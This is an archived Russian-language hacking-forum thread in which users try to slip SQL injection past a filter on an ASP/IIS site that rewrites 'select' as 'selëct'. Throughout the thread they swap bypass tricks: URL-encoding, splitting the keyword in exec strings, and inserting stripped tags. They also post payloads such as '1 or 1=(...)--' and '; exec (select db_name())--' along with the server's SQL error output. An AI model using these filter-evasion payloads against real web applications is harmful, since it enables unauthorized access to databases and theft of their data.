PDA

Просмотр полной версии : фильтрация select в mssql


durito
01.07.2008, 15:07
вот впервые столкнулся с такой интересной фильтрацией:

если в теле запроса видит select то переводит его в такой вид:

selëct db_name()

и соотвественно скуль ругается:

Line 1: Incorrect syntax near ';'.

т.е. вместо второе е подставляет html значение немецкой ё - ë

попытки закодировать select в %73%65%6C%65%63%74

успеха не принесли

если ли еще какие-то варианты?

durito
01.07.2008, 15:15
там же Iis и винда, а ей пофиг на регистр

Dima-k17
02.07.2008, 08:29
ээээ... Я правильно понял твою проблему?

;exec ("SELE"+"CT users"+"FROM tables")

durito
03.07.2008, 10:15
я вообще не встречал, чтоб такая фича гдето работала

o3,14um
03.07.2008, 14:01
посоветую поискать какие слова/символы вырезаются. Именно вырезаются. Так, например, если вырезается тег <script>, то запрос нужно желать таким: se<script>lect

durito
04.07.2008, 12:24
так ведь, дык не вырезается а заменяет на ё

Dima-k17

отвечает:


Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near 'ect'.

/event_detail.asp, line 44
обрамляем скобками и видим что не нравится:


1 or 1=(["sel"+"ect" db_name()])--

Microsoft OLE DB Provider for SQL Server error '80040e14'

Invalid column name '"sel" "ect" db_name()'.

/event_detail.asp, line 44
т.е. при таком запросе просто отбрасывает sel

если пробовать так:


4696; exec (select db_name())--

то ответ:


Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near 'ex'.

/event_detail.asp, line 44
подставляем скобки:


Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near 'ex&euml;c (sel&euml;ct db_name())'.

/event_detail.asp, line 44